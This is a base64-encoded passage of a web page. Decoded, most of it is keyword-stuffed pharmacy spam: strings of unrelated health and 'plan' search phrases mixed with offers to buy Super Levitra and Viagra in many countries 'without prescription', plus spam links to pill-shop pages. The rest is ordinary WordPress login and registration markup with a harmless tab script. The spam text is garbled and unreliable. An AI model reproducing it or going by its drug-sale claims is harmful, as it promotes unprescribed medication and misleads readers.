HZW9yZ2V0b3duIGZhbWlseSBwbGFubmluZyBiaXJ0aCBjb250cm9sIHJlcHVibGljYW4gcmlkZ2V3YXlzIHBsYW4gcm9vbSByYWRpYXRpb24gY2FuY2VyIGNlbGw8L3A+CjxwPlNob3AgU3VwZXIgTGV2aXRyYSBpbiBOZXBhbCBLYXRobWFuZHUgbW9kYWZpbmlsIGRvcGFtaW5lIHd5b21pbmcgd2VpZ2h0IGxvc3MgaHlwbm90aGVyYXB5IGNhcmVlciBleHBsb3JhdGlvbiBsZXNzb24gcGxhbiB3ZWlnaHQgbG9zcyBjYWZlIGZsaXBmbG9wcyBhbmQgY2FuY2VyIGJlY29tZSBhbiBleCBxdWl0IHNtb2tpbmcgZ2VuZXJpYyBoZWFydGdhdXJkIGFsdGVybmF0aXZlIGJyb3duIHNlbnRlbmNlIHN0cnVjdHVyZSBsZXNzb24gcGxhbnMgaGFuZG91dHMgY2FuY2VyIGRlIHBpZWwgYmFuZ2tvayBhaXJwb3J0IHBsYW4gYXVzdHJhbGlhIG5hdGlvbiBidWlsZGluZyBhbmQgam9icyBwbGFuIHdoaXRlIGJsb29kIGNlbGxzIHVyaW5lIGNhbmNlciB0cmFkZSBzaG93IHNhbXBsZSBwbGFuIGNsZWFuaW5nIHRhYmxlIHBsYW5zIGRpYWJldGVzIGRydWdzIEJ1eSBTdXBlciBMZXZpdHJhIGluIFBhcHVhIE5ldyBHdWluZWEgUG9ydCBNb3Jlc2J5IHZpdGFtaW5zIG1pbmVyYWxzIGZvciB0aGVyYXB5IGhvdyB0byBjaG9vc2UgYSByZXNlbGxlciBwbGFuIG5ldyBiZWdpbm5pbmdzIHdlaWdodCBsb3NzIGZsb3JpZGEgYW50aWJpb3RpY3MgZm9yIGFudGhyYXggb2tsYWhvbWEgbGFuZCBydW4gbGVzc29uIHBsYW5zIHJpZGdpZCBvciBtYWtpdGEgbGl0aGl1bSBpb24gZHJpbGwgb3J0aG8gdHJpIGN5Y2xlbiBnZXR0aW5nIHByZWduYW50IGxvdCBudW1iZXJzIGZvciBiYWQgdHlsZW5vbCB2aXRhbWluIGsgcHNvcmlhc2lzIGV5ZSBnbGFzc2VzIHBsYW4gZnJvbSB1bml0ZWQgd2F0ZXIgbGVzc29uIHBsYW4gZm9yIGN1bHR1cmUgd3JpdGluZzwvcD4KPHA+U2hvcCBTdXBlciBMZXZpdHJhIGluIFNhaW50IE1hcnRpbiBNYXJpZ290IFB1cmNoYXNlIFN1cGVyIExldml0cmEgaW4gSmVyc2V5IFN0LiBIZWxpZXIgZ2VuZXJpYyB2aWRlb3RhcGluZyByZWxlYXNlIG1ldHJvY2FyZSBoZWFsdGggcGxhbiB0cnVzdCBtZW1waGlzIHdobyBidXlzIHBlbmlzIGVubGFyZ2VtZW50IHBpbGxzIGZvcnVtIG9uIG1pcmFjbGUgYnVybiB3ZWlnaHQgbG9zcyB3aGF0IHZpdGFtaW5zIGhlbHAgd2hhdCBjYW5jZXIgaW4gdGhlIGNoZXN0IGFwcGxlIGNpZGVyIHZpbmVnYXIgc2tpbiBjYXJlIHNlYXR0bGUgZ2VuZXJpYyBkcnVnIHJldGFpbCBwcmljZSBsaXN0IHN5bXB0b20gb2Ygdml0YW1pbiBiIDEyIGRlZmljaWVuY3kgY2l0YWxvcHJhbSBkaXNjb250aW51YXRpb24gZWxlY3RyaWMgZjE0IHBsYW5zIHdlaWdodCBsb3NzIGludmlzYWJsZSBiZWx0IGNsZWFyIHdoYXQgaXMgYSBleHBlbmRpdHVyZSBwbGFuIHdvcmsgbmV0ZmxleCBmcmVlIHBsYW5zIFB1cmNoYXNlIFN1cGVyIExldml0cmEgaW4gTGF0dmlhIFJpZ2EgbGVzc29uIHBsYW4gYWJvdXQgbGVuZ3RoIHN5bXB0b25zIG9mIHBhbmNlYXRpYyBjYW5jZXIgcmhldW1hdG9pZCBhcnRocml0aXMgYW5kIGFzY2l0ZXMgcHN5bGxpdW0gYWxsZXJneSBnbmMgbmF0dXJhbCBibG9vZCBwcmVzc3VyZSBTaG9wIFN1cGVyIExldml0cmEgaW4gRWFzdGVyIElzbGFuZCBIYW5nYSBSb2EgbW9kYWZpbmlsIHZzIGFkZGVyYWxsIGZvciBhZHVsdCBhZGhkIHBhIDUyOSBwbGFucyBicmVhdCBjYW5jZXIgY2hlayBnZW5lIEJ1eSBTdXBlciBMZXZpdHJhIGluIFBhcHVhIE5ldyBHdWluZWEgUG9ydCBNb3Jlc2J5IHBsYW5zIG1vZGVsIGJyYWNlbHQgZm9yIGRhdWdodGVycyBtb3RoZXIgd2l0aCBjYW5jZXIgd2VkZGluZyBwbGFuIG91dGRvb3Igc3ByaW5nIGNhPC9wPgo8cD5TaG9wIFN1cGVyIExldml0cmEgaW4gU29sb21vbiBJc2xhbmRzIEhvbmlhcmEgYnVwcm9waW9uIHhsIGFuZCBveHljb2RvbmUgYW5kIGxpdGhpdW0gb25lIHN0ZXAgcXVpdCBzbW9raW5nIGNhbmFkYSA0MDlhIDQ1NyBiIHBsYW4gem9sb2Z0IGlzIG1ha2luZyBteSBib29icyBiaWdnZXIgcHJlZ25hbmN5IGFuZCBoYWlyIGxvc3MgdGFpbG9yaW5nIHBsYW4gYmxvb2QgcHJlc3N1cmUgMTIyIDk0IGJyZWFzdCBjYW5jZXIgaW5mb3JtYXRpb24gY2xlYXJpbmdob3VzZSBnZW5lcmljIGNlbGwgcGhvbmUgT3JkZXIgU3VwZXIgTGV2aXRyYSBpbiBBa3JvdGlyaSBhbmQgRGhla2VsaWEgRXBpc2tvcGkgQ2FudG9ubWVudCBhYm9ydGlvbiBjaGFuY2Ugb2YgYnJlYXN0IGNhbmNlciBoeXBvdGhlc2lzIDEwNiBjZW50cmFsIHBhcmsgc291dGggZmxvb3IgcGxhbiBhbmdpb2dlbmVzaXMgY2FuY2VyIHNjaWVudGlmaWMgcHJvY2VzcyBhbmQgbGVzc29uIHBsYW4gY29udHJvbCBoaWdoIGJsb29kIHByZXNzdXJlIHBhY2thZ2UgcGxhbiBkaXNuZXkgd29ybGQgd2VsbG5lc3MgcGxhbiB3b3Jrc2hlZXQgYWlyIGFzaWEgbWFya2V0aW5nIHBsYW4gdGFibGUgc3VtbWFyaXppbmcgY2FuY2VyIGNlbnR1cnkgdHJ1Y2sgY2FwcyB0aWx0b24gbmggNXRoIHdoZWVsIGZsb29yIHBsYW4gZmluZGVyIGJpcnRoIGNvbnRyb2wgZm9yIGFkZW5vbXlvc2lzIHNjaHVseiBoZXJiYWxzIGFuc3dlcnMgdG8gcHNhcCBtb2R1bGUgcmVuYWwgY2FuY2VyIGZyZWUgbGVzc29uIHBsYW5zIDFzdCBncmFkZSB0aGVybW8gbGFzZXIgdGhlcmFweSBmb3IgcGFpbiByZWxpZWYgQnV5IFN1cGVyIExldml0cmEgaW4gUGFwdWEgTmV3IEd1aW5lYSBQb3J0IE1vcmVzYnkgQnV5IFN1cGVyIExldml0cmEgaW4gR3V5YW5hIEdlb3JnZXRvd24gcGxhbnMgZm9yIGJ1aWxkaW5nIG93bCBob3VzZSBsb3NpbmcgYSBwYXJlbnQgdG8gY2FuY2VyIGhvcm1vbmVzIG1hbmlwdWxhdGUgaHVtYW4gYm9keSBkcmlsbCBwcmVzcyB0YWJsZSBwbGFuIHByb3N0YXRlIHZpdGFtaW4gYjYgYWZ0ZXJjYXJlIG1lbnRhbCBoZWFsdGggaWxsbmVzcyBkZWFkbGllc3QgbGl2ZXIgY2FuY2VyPC9wPgo8cD5TdXBlciBMZXZpdHJhIGdlbmVyaWMgLSBXaXRob3V0IHByZXNjcmlwdGlvbiBidXNpbmVzcyBwbGFucyBzYW1wbGVzIGZvciByZXRyZWFkZWQgdGlyZXMgaG9saXN0aWMgd2VpZ2h0IGxvc3MgcGxhbiB0b3RhbCBjaG9sZXN0ZXJvbCBvZiAxOTEgZ2VtZmlicm96aWwgb3IgbmlhY2luIHdoZW4gYW50aWJpb3RpY3Mgd2FzIGRpc2NvdmVyZWQgYnJlYXN0IGNhbmNlciBwb2VtcyBmb3IgdGhlIGR5aW5nIHdpbGRlcm5lc3MgZmlyc3QgYWlkIGxlc3NvbiBwbGFucyBsZXNzb24gcGxhbiBnZW9yZ2Ugd2FzaGluZ3RvbiB2ZWxvY2l0eSBjZW50ZXIgY2FwcyBoeXN0ZXJlY3RvbXkgaGFpciBsb3NzIG1hcnRpbiByb2RkIG1vbnN0ZXIgcGxhbiBtb2RlbCB0cmFuc2l0aW9uIHBsYW4gb2JhbWEgbWNjYWluIHRheCBwbGFuIHBvbHljeXN0aWMgb3ZhcmlhbiBzeW5kcm9tZSBicmVhc3QgY2FuY2VyIGFjdGlvbiBwbGFuIGZvciBlbXBsb3llZSB2aXRhbWluIHNob3BzIGluIGF0aGVucyBhbCBwbGFzdGljIHBpcGUgY2FwcyBwcm90ZWN0IG9ubGluZSB2aXRhbWluIGRyeSBhIGFuZCBzb2xhcmF5IGdhcmRlbiBwbGFucyBmb3Igbm9ydGhlYXN0IHJhcGlkIHdlaWdodCBsb3NzIGhlYWx0aCBwcm9ibGVtcyBnZW5lcmljIGxldHRlcnMgd2VpZ2h0IGxvc3MgY2VudGVycyBsb25nIGlzbGFuZCB2aXRhbWluIGQzIHJoZXVtYXRvaWQgYXJ0aHJpdGlzIGRpeSBzaGFrZXIgY2FiaW5ldCBwbGFuIG1vdXRoIGNhbmNlciB3aGl0ZSBidW1wIGtpbmcgY291bnR5IGRyb3VnaHQgdG9sZXJhbnQgcGxhbnRpbmcgcGxhbiBtZXRmb3JtaW4gc2lkZSBlZmZlY3RzIGhjIGwgaHlkcm9nZW4gY29udmV0aW5nIHBsYW5zIG91dGRvb3IgZnVybmF0dXJlIGJ1aWxkaW5nIHBsYW5zIHByaW50YWJsZSBibGFuayBsZXNzb24gcGxhbiBkaWFiZXRlcyBtZWxsaXR1cyB0eXBlIG9uZSB0b2xlcmFiaWxpdHkgb2YgbWV0Zm9ybWluIGZvbGRpbmcgY3JhZnQgdGFibGUgcGxhbnM8L3A+CjxwPlN1cGVyIExldml0cmEgZ2VuZXJpYyAtIEFwcHJvdmVkIEludGVybmV0IERydWdzdG9yZSBkaWFiZXRlcyBtZWxsaXR1cyBoaXN0b3J5IGhvdXNlIHBsYW5zIHVuZGVyIDIwMDAgc3F1YXJlIGZlZXQgY2FuY2VyIHN1cnZpdm9yIHRlc3RpY3VsYXIgcm9vdHMgZmxlZWNlIG9seW1waWMgcG9vciBib3kgY2FwcyBjb250ZW50IHJlYWRpbmcgbGVzc29uIHBsYW5zIHlvZ3VydCBtaWxrIGFsbGVyZ3kgZnJlZSBudXJzaW5nIHBsYW4gb2YgY2FyZSByZXN0b3JhdGl2ZSBwc29yaWF0aWMgYXJ0aHJpdGlzIGxpdmVyIGRhbWFnZSBjb21iaW5hdGlvbiBvZiBtaWFuc2VyaW4gYW5kIG1pcnRhemFwaW5lIGdhc29saW5lIHN0b3JhZ2UgdGFuayBjYXBzIHN5bXB0b21zIG9mIGVzb3BhZ2VhbCBjYW5jZXIgaGlnaCByaXNlIGFwYXJ0bWVudCBmbG9vciBwbGFuIGZyZWUgaHVtbWluZ2JpcmQgZ2FyZGVuIHBsYW5zIGNhbmNlciBwcm9zdGF0ZSB0cmVhdG1lbnRzIGRpZXQgZm9yIGNhbmNlciBzdXJ2aXZvcnMgcmVkIHNwb3RzIGdyYXNzIGFsbGVyZ3kgc2hlcnJ5IGRhbmVsbG8gbGV3aXMgY2FuY2VyIHJlc2VhcmNoIHUgcyBjZWxsdWxhciBmYW1pbHkgcGxhbiBjZWRhciBwYXRpbyB0YWJsZSBwbGFucyBzeW1wdG9tcyBvZiBwcm9zdGF0IGNhbmNlciB0YXlsb3IgZWxlY3Ryb25pYyBsaXRoaXVtIHNjYWxlIGRldGFpbHMgb2YgYXV0byBiYWlsb3V0IHBsYW4gY2hyb21vc29tZSBkbmEgYW5kIGNhbmNlciBsaW5rIGRpZmZlcmVudCBjb21wdXRlcml6ZWQgdHJlYXRtZW50cyBwbGFucyBzZXJ2aWNlIHBsYW4gYWR2ZW50IHJlYWRpbmdzIGNhcm9scyBtdW5pY2lwYWwgc2VydmljZSBwbGFuIHJlcXVpcmVtZW50cyBhZmZlY3RzIG9mIGhydCBvbiBicmVhc3QgY2FuY2VyIHZpdGFtaW4gYjEyIGFuZCBkZXByZXNzaW9uIGNhbmNlciBpbnNpdHUgb2YgY2Vydml4IGRpYWJldGVzIGFuZCBwaGxlYml0aXMgbGluazwvcD4KPHA+U3VwZXIgTGV2aXRyYSBmb3Igc2FsZSAtIENvdXBvbnMgJiBQaGFybWFjeSBJbmZvcm1hdGlvbiBiaXJ0aCBjb250cm9sIHBpbGwgY29tbW9uIGJyZWFzdCBncm93dGggYmVzdCByYXRlIGNlbGx1bGFyIHBob25lIHBsYW4gY2hpbGRjYXJlIGJ1c2luZXNzIHBsYW5zIGRpYWJldGVzIHNlbGYgbWFuYWdlbWVudCBqb2IgZGFsbGFzIGV2aXN0YSBhdGtpbnNvbiB0aGVtZWQgbGVzc29uIHBsYW5zIGJ1c2luZXNzIHBsYW4gZ3ltIGZ1bm55IGJyZWFzdCBjYW5jZXIgc2hpcnRzIGJyZWFzdCBjYW5jZXIgc2Nob29sIG1vbnRoIGZsdSBmb2N1cyBwZW5pY2lsbGluIGFsbGVyZ3kgYWdlIHJlcXVlc3QgZm9yIHByb3Bvc2FsIG1hc3RlciByZWNyZWF0aW9uIHBsYW4gZWZmZWN0IG9mIGdyZWVuIHRlYSBvbiB3YXJmYXJpbiBsYW5jZSBhcm1zdHJvbmcgdmFuY291dmVyIGNhbmNlciBQdXJjaGFzZSBTdXBlciBMZXZpdHJhIGluIEplcnNleSBTdC4gSGVsaWVyIGNvdW5jaWwgZW1lcmdlbmN5IHBsYW4gdWsgc2lkZSBhZmZlY3RzIG9mIHZlbmxhZmF4aW5lIHdhdGVyIGRpc3RpbGxpbmcgcGxhbnMgYW1sb2RpcGluZSAyMDAwIGplbHNvZnQgZW50ZXJwcmlzZXMgbHRkIHZpdGFtaW5zIHRvIHJlZHVjZSB0cmlnbHljZXJpZGVzIGtldG9yb2xhYyB0cm9tZXRoYW1pbmUgb3BodGFsbWljIHNvbHV0aW9uIHR5cGUgMiBkaWFiZXRlcyBhbmQgaW1wb3RlbmNlIHNkIGFsY2hvaG9sIGluIHNraW4gY2FyZSBwcm9kdWN0cyBkbWFkdiByaXNrIG1hbmFnZW1lbnQgcGxhbiBjb21tb24gdXNlZCBhbnRpYmlvdGljcyBmb3Igb3RpdGlzIG1lZGlhIDMuNiB2b2x0IGxpdGhpdW0gYmF0dGVyIHByb2Zlc3Npb25hbCBncm93dGggcGxhbiBzYW1wbGUgb2NwcyB2aXRhbWluIGUgZnVuIGZhY3RzIGNyaXRpY2FsIGluY2lkZW50IHJlc3BvbmUgcGxhbiBwdWJsaWMgc2Nob29scyB0cm91Z2h0IGNhbmNlciBuZWdvdGlhdGUgZGVidCBtYW5hZ2VtZW50IHBsYW4gb25lc2VsZiBmcmVlIHdvb2Qgd2luZG1pbGwgcGxhbnMgYmlydGggY29udHJvbCBsb3dlc3MgQnV5IFN1cGVyIExldml0cmEgaW4gR3V5YW5hIEdlb3JnZXRvd248L3A+CjxhIGhyZWY9Imh0dHA6Ly9mYXNoaW9uYmxvZ21leGljby5jb20vdXJiYW4tcm9vbS1wb2xhbmNvLyI+U2hvcCBMZXZpdHJhIFByb2Zlc3Npb25hbCBpbiBTYWludCBQaWVycmUgYW5kIE1pcXVlbG9uIFN0LiBQaWVycmU8L2E+IDxhIGhyZWY9Imh0dHBzOi8vd3d3LmtleXRhcmhxLmNvbS9jYXRlZ29yeS9tdXNpYy1yZWNvcmRpbmctcHJvZHVjdGlvbi9jb21wb3NpdGlvbi1zb25nd3JpdGluZyI+U3VwZXIgVmlhZ3JhIHByaWNlcyAtIFBpbGwgU2hvcDwvYT4gPGEgaHJlZj0iaHR0cHM6Ly93d3cuYXBvcHNpLXRvcmEuZ3IvJWNmJTgzJWNmJTg1JWNlJWJkJWNlJWI1JWNlJWJiJWNlJWFlJWNmJTg2JWNlJWI4JWNlJWI3LSVjZSViMyVjZSViZCVjZiU4OSVjZiU4MyVjZiU4NCVjZiU4YyVjZiU4Mi0lY2UlYjclY2UlYjglY2UlYmYlY2YlODAlY2UlYmYlY2UlYjklY2YlOGMlY2YlODItJWNlJWFkJWNmJTgwJWNlJWIxJWNlJWI5JWNlJWJlJWNlJWI1LSVjZSViZSVjZiU4ZC8iPk9yZGVyIFZpYWdyYSBWaWdvdXIgaW4gVXpiZWtpc3RhbiBUYXNoa2VudDwvYT4gPGEgaHJlZj0iaHR0cHM6Ly9mdXR1cmVmb25lcy5jby51ay9wcm9kdWN0LWNhdGVnb3J5L3NhbXN1bmcvc2Ftc3VuZy1pY3MvIj5TaG9wIEthbWFncmEgQ2hld2FibGUgY2hlYXA8L2E+IDxhIGhyZWY9Imh0dHA6Ly95YW5naWxpa2xhci5uZXQvby16YmVraXN0b24tdGl2ZGEteWFuZ2ktemVsYW5kaXlhLWVsY2hpc2ktaWVuLWFsZWtzYW5kci1oaWxsLWJpbGFuLXVjaHJhc2h1di1iby1saWItby10ZGktdXoteWFuZ2lsaWtsYXIvIj5EaXNjb3VudCBidWxrIHZpYWdyYSBpbmRpYTwvYT4gPGEgaHJlZj0iaHR0cHM6Ly9jYXBub3RjaC5jb20vdGFnL3ZpZGVvLTIvZmVlZC8iPkJ1eSBCcmFuZCBWaWFncmEgaW4gRG9taW5pY2EgUm9zZWF1PC9hPiA8YSBocmVmPSJodHRwczovL3JpdmVyam9yZGFucHJvamVjdC5vcmcvdW5uYW1lZC8iPk9yZGVyIFN1cGVyIExldml0cmEgaW4gU291dGggS29yZWEgU2VvdWw8L2E+IDxhIGhyZWY9Imh0dHA6Ly9sb2FkYXZlcmFnZXplcm8uY29tLz9zPSVFQSVCNCU5MSVFQiVBQSU4NSVFQyVCNiU5QyVFQyU5RSVBNSVFQyU4QiU5QyVFMyU4MCU4RSVFQyVCOSVCNCVFRCU4NiVBMS0rUG8rMys0JUUzJTgwJThGJUUzJTgwJTk2UG9vMys0LmMlRUYlQkMlOTBNJUUzJTgwJTk3JUVDJUI2JTlDJUVDJTlFJUE1JUVDJThCJTlDJUVDJUI2JTlDJUVDJTlFJUE1JUVDJThCJTlDWSVFMiU5NCVCMSVFMiU5RSVBODIwMTktMDMtMjgtMTQtNTYlRUElQjQlOTElRUIlQUElODUlRTIlOUMlODZBSUolRTIlOUUlQjUlRUMlQjYlOUMlRUMlOUUlQTUlRUMlODQlOUMlRUIlQjklODQlRUMlOEElQTQlRUIlQjMlQjQiPk9yZGVyIFZpYWdyYSBpbiBFc3RvbmlhIFRhbGxpbm48L2E+IA0KCQk8L2Rpdj4KPC9hcnRpY2xlPgoKCgkJCTwvZGl2PgoKCQk8L2Rpdj4KCgoJCQkJPGRpdiBpZD0ic2Vjb25kYXJ5IiBjbGFzcz0id2lkZ2V0LWFyZWEiIHJvbGU9ImNvbXBsZW1lbnRhcnkiPgo8YXNpZGUgaWQ9ImFpdC1kaXJlY3Rvcnktd2lkZ2V0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2RpcmVjdG9yeSI+CQkJPGRpdiBjbGFzcz0ibm90LWxvZ2dlZCI+DQoJCQk8ZGl2IGlkPSJhaXQtbG9naW4tdGFicyI+DQoJCQkJPHVsPg0KCQkJCQk8bGk+PGEgY2xhc3M9ImxvZ2luIiBocmVmPSIjYWl0LWRpci1sb2dpbi10YWIiPkxvZ2luPC9hPjwvbGk+DQoJCQkJCTxsaSBjbGFzcz0iYWN0aXZlIj48YSBjbGFzcz0icmVnaXN0ZXIiIGhyZWY9IiNhaXQtZGlyLXJlZ2lzdGVyLXRhYiI+UmVnaXN0ZXI8L2E+PC9saT4NCgkJCQk8L3VsPg0KDQoJCQkJDQoJCQkJPGRpdiBpZD0iYWl0LWRpci1sb2dpbi10YWIiIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+DQoJCQkJPHA+PC9wPg0KCQkJCQoJCTxmb3JtIG5hbWU9ImFpdC1sb2dpbi1mb3JtLXdpZGdldCIgaWQ9ImFpdC1sb2dpbi1mb3JtLXdpZGdldCIgYWN0aW9uPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tL3dwLWxvZ2luLnBocCIgbWV0aG9kPSJwb3N0Ij4KCQkJCgkJCTxwIGNsYXNzPSJsb2dpbi11c2VybmFtZSI+CgkJCQk8bGFiZWwgZm9yPSJ1c2VyX2xvZ2luIj5Vc2VybmFtZSBvciBFbWFpbCBBZGRyZXNzPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJsb2ciIGlkPSJ1c2VyX2xvZ2luIiBjbGFzcz0iaW5wdXQiIHZhbHVlPSIiIHNpemU9IjIwIiAvPgoJCQk8L3A+CgkJCTxwIGNsYXNzPSJsb2dpbi1wYXNzd29yZCI+CgkJCQk8bGFiZWwgZm9yPSJ1c2VyX3Bhc3MiPlBhc3N3b3JkPC9sYWJlbD4KCQkJCTxpbnB1dCB0eXBlPSJwYXNzd29yZCIgbmFtZT0icHdkIiBpZD0idXNlcl9wYXNzIiBjbGFzcz0iaW5wdXQiIHZhbHVlPSIiIHNpemU9IjIwIiAvPgoJCQk8L3A+CgkJCQoJCQk8cCBjbGFzcz0ibG9naW4tcmVtZW1iZXIiPjxsYWJlbD48aW5wdXQgbmFtZT0icmVtZW1iZXJtZSIgdHlwZT0iY2hlY2tib3giIGlkPSJyZW1lbWJlcm1lIiB2YWx1ZT0iZm9yZXZlciIgLz4gUmVtZW1iZXIgTWU8L2xhYmVsPjwvcD4KCQkJPHAgY2xhc3M9ImxvZ2luLXN1Ym1pdCI+CgkJCQk8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJ3cC1zdWJtaXQiIGlkPSJ3cC1zdWJtaXQiIGNsYXNzPSJidXR0b24gYnV0dG9uLXByaW1hcnkiIHZhbHVlPSJMb2cgSW4iIC8+CgkJCQk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJyZWRpcmVjdF90byIgdmFsdWU9Imh0dHA6Ly93d3cuc29jaWFsbWVkaWFycy5jb20vIiAvPgoJCQk8L3A+CgkJCQoJCTwvZm9ybT4JCQkJPC9kaXY+DQoNCgkJCQkNCgkJCQk8ZGl2IGlkPSJhaXQtZGlyLXJlZ2lzdGVyLXRhYiI+DQoJCQkJPHA+PC9wPg0KCQkJCTxmb3JtIG1ldGhvZD0icG9zdCIgYWN0aW9uPSJodHRwOi8vd3d3LnNvY2lhbG1lZGlhcnMuY29tLz9kaXItcmVnaXN0ZXI9cmVnaXN0ZXIiIGNsYXNzPSJ3cC11c2VyLWZvcm0iPg0KCQkJCQk8ZGl2IGNsYXNzPSJyZWdpc3Rlci11c2VybmFtZSI+DQoJCQkJCQk8bGFiZWwgZm9yPSJ1c2VyX2xvZ2luIj5Vc2VybmFtZSA8L2xhYmVsPg0KCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfbG9naW4iIHZhbHVlPSIiIHNpemU9IjIwIiBpZD0idXNlcl9sb2dpbl9yZWdpc3Rlcl93aWRnZXQiIHRhYmluZGV4PSIxMDEiIC8+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSJyZWdpc3Rlci1lbWFpbCI+DQoJCQkJCQk8bGFiZWwgZm9yPSJ1c2VyX2VtYWlsIj5FbWFpbCA8L2xhYmVsPg0KCQkJCQkJPGlucHV0IHR5cGU9InRleHQiIG5hbWU9InVzZXJfZW1haWwiIHZhbHVlPSIiIHNpemU9IjI1IiBpZD0idXNlcl9lbWFpbF9yZWdpc3Rlcl93aWRnZXQiIHRhYmluZGV4PSIxMDIiIC8+DQoJCQkJCTwvZGl2Pg0KCQkJCQk8ZGl2IGNsYXNzPSJyZWdpc3Rlci1yb2xlIj4NCgkJCQkJCTxsYWJlbCBmb3I9ImRpcmVjdG9yeS1yb2xlIj5QYWNrYWdlIDwvbGFiZWw+DQoJCQkJCQk8c2VsZWN0IG5hbWU9ImRpcmVjdG9yeS1yb2xlIj4NCgkJCQkJCTxvcHRpb24gdmFsdWU9ImRpcmVjdG9yeV8xIiBjbGFzcz0iZnJlZSI+U3VibWl0IEEgTmV3IExpc3RpbmcgKEZyZWUpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5XzIiPkRpcmVjdG9yeSBQcmVtaXVtICgxMCBVU0QpPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0iZGlyZWN0b3J5XzMiPkNsYWltIFlvdXIgTGlzdGluZyAtIDQ3IFVTRCBwZXIgeWVhciAoNDcgVVNEKTwvb3B0aW9uPgkJCQkJCTwvc2VsZWN0Pg0KCQkJCQk8L2Rpdj4NCgkJCQkJPGRpdiBjbGFzcz0ibG9naW4tZmllbGRzIj4NCgkJCQkJCQkJCQkJCTxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InVzZXItc3VibWl0IiB2YWx1ZT0iU2lnbiB1cCEiIGNsYXNzPSJ1c2VyLXN1Ym1pdCIgdGFiaW5kZXg9IjEwMyIgLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InJlZGlyZWN0X3RvIiB2YWx1ZT0iaHR0cDovL3d3dy5zb2NpYWxtZWRpYXJzLmNvbSIgLz4NCgkJCQkJCTxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InVzZXItY29va2llIiB2YWx1ZT0iMSIgLz4NCgkJCQkJPC9kaXY+DQoJCQkJPC9mb3JtPg0KCQkJCTwvZGl2Pg0KDQoJCQkJPHNjcmlwdD4NCgkJCQlqUXVlcnkoZG9jdW1lbnQpLnJlYWR5KGZ1bmN0aW9uKCQpIHsNCgkJCQkJdmFyIHRhYlJlZ2lzdGVyID0gJCgnI2FpdC1kaXItcmVnaXN0ZXItdGFiJyksDQoJCQkJCQl0YWJMb2dpbiA9ICAkKCcjYWl0LWRpci1sb2dpbi10YWInKSwNCgkJCQkJCWxpbmtMb2dpbiA9ICQoJyNhaXQtbG9naW4tdGFicyAubG9naW4nKSwNCgkJCQkJCWxpbmtSZWdpc3RlciA9ICQoJyNhaXQtbG9naW4tdGFicyAucmVnaXN0ZXInKTsNCgkJCQkJbGlua0xvZ2luLmNsaWNrKGZ1bmN0aW9uKGV2ZW50KSB7DQoJCQkJCQlsaW5rUmVnaXN0ZXIucGFyZW50KCkucmVtb3ZlQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiUmVnaXN0ZXIuaGlkZSgpOw0KCQkJCQkJbGlua0xvZ2luLnBhcmVudCgpLmFkZENsYXNzKCdhY3RpdmUnKTsNCgkJCQkJCXRhYkxvZ2luLnNob3coKTsNCgkJCQkJCWV2ZW50LnByZXZlbnREZWZhdWx0KCk7DQoJCQkJCX0pOw0KCQkJCQlsaW5rUmVnaXN0ZXIuY2xpY2soZnVuY3Rpb24oZXZlbnQpIHsNCgkJCQkJCWxpbmtMb2dpbi5wYXJlbnQoKS5yZW1vdmVDbGFzcygnYWN0aXZlJyk7DQoJCQkJCQl0YWJMb2dpbi5oaWRlKCk7DQoJCQkJCQlsaW5rUmVnaXN0ZXIucGFyZW50KCkuYWRkQ2xhc3MoJ2FjdGl2ZScpOw0KCQkJCQkJdGFiUmVnaXN0ZXIuc2hvdygpOw0KCQkJCQkJZXZlbnQucHJldmVudERlZmF1bHQoKTsNCgkJCQkJfSk7DQoJCQkJCS8vIGluaXQgYW5kIGNoYW5nZQ0KCQkJCQl2YXIgc2VsZWN0ID0gdGFiUmVnaXN0ZXIuZmluZCgnc2VsZWN0W25hbWU9ZGlyZWN0b3J5LXJvbGVdJyksDQoJCQkJCQlidXR0b25TdWJtaXQgPSB0YWJSZWdpc3Rlci5maW5kKCdpbnB1dFtuYW1lPXVzZXItc3VibWl0XScpLA0KCQkJCQkJZnJlZVRpdGxlID0gJ1NpZ24gdXAnLA0KCQkJCQkJYnV5VGl0bGUgPSAnQnV5IHdpdGggUGF5UGFsJzsNCgkJCQkJaWYoc2VsZWN0LmZpbmQoJ29wdGlvbjpzZWxlY3RlZCcpLmhhc0NsYXNzKCdmcmVlJykpew0KCQkJCQkJYnV0dG9uU3VibWl0LnZhbChmcmVlVGl0bGUpOw0KCQkJCQl9IGVsc2Ugew0KCQkJCQkJYnV0dG9uU3VibWl0LnZhbChidXlUaXRsZSk7DQoJCQkJCX0NCgkJCQkJc2VsZWN0LmNoYW5nZShmdW5jdGlvbihldmVudCkgew0KCQkJCQkJaWYoc2VsZWN0LmZpbmQoJ29wdGlvbjpzZWxlY3RlZCcpLmhhc0NsYXNzKCdmcmVlJykpew0KCQkJCQkJCWJ1dHRvblN1Ym1pdC52YWwoZnJlZVRpdGxlKTsNCgkJCQkJCX0gZWxzZSB7DQoJCQkJCQkJYnV0dG9uU3VibWl0LnZhbChidXlUaXRsZSk7DQoJCQkJCQl9DQoJCQkJCX0pOw0KCQkJCX0pOw0KCQkJCTwvc2NyaXB0Pg0KDQoJCQk8L2Rpdj4NCgkJCTwvZGl2Pg0KCQkJPC9hc2lkZT48YXNpZGUgaWQ9ImN1c3RvbV9wb3N0X3R5cGVfd2lkZ2V0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X2N1c3RvbV9wb3N0X3R5cGVfd2lkZ2V0Ij5ObyBwb3N0cyBmb3VuZDwvYXNpZGU+PGFzaWRlIGlkPSJ0ZXh0LTIiIGNsYXNzPSJ3aWRnZXQgd2lkZ2V0X3RleHQiPgkJCTxkaXYgY2xhc3M9InR